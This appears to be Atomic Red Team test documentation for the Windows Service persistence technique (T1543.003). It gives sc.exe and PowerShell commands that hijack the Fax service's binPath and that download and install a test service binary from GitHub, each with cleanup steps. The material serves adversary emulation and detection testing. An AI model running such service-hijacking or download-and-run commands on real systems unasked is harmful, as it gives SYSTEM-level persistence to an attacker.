Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).Adversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.
An adversary may also incorporate Masquerading by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through Service Execution.
This test will temporarily modify the service Fax by changing the binPath to PowerShell
and will then revert the binPath change, restoring Fax to its original state.
Upon successful execution, cmd will modify the binpath for Fax to spawn powershell. Powershell will then spawn.
Supported Platforms: Windows
sc config Fax binPath= "C:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -noexit -c \"write-host 'T1543.003 Test'\""
sc start Faxsc config Fax binPath= "C:\WINDOWS\system32\fxssvc.exe" >nul 2>&1Download an executable from github and start it as a service.
Upon successful execution, powershell will download AtomicService.exe from github. cmd.exe will spawn sc.exe which will create and start the service. Results will output via stdout.
Supported Platforms: Windows
| Name | Description | Type | Default Value |
|---|---|---|---|
| binary_path | Name of the service binary, include path. | Path | PathToAtomicsFolder\T1543.003\bin\AtomicService.exe |
| service_name | Name of the Service | String | AtomicTestService_CMD |
sc.exe create #{service_name} binPath= #{binary_path}
sc.exe start #{service_name}sc.exe stop #{service_name} >nul 2>&1
sc.exe delete #{service_name} >nul 2>&1if (Test-Path #{binary_path}) {exit 0} else {exit 1} New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"Installs A Local Service via PowerShell.
Upon successful execution, powershell will download AtomicService.exe from github. Powershell will then use New-Service and Start-Service to start service. Results will be displayed.
Supported Platforms: Windows
| Name | Description | Type | Default Value |
|---|---|---|---|
| binary_path | Name of the service binary, include path. | Path | PathToAtomicsFolder\T1543.003\bin\AtomicService.exe |
| service_name | Name of the Service | String | AtomicTestService_PowerShell |
New-Service -Name "#{service_name}" -BinaryPathName "#{binary_path}"
Start-Service -Name "#{service_name}"Stop-Service -Name "#{service_name}" 2>&1 | Out-Null
try {(Get-WmiObject Win32_Service -filter "name='#{service_name}'").Delete()}
catch {}if (Test-Path #{binary_path}) {exit 0} else {exit 1} New-Item -Type Directory (split-path #{binary_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1543.003/bin/AtomicService.exe" -OutFile "#{binary_path}"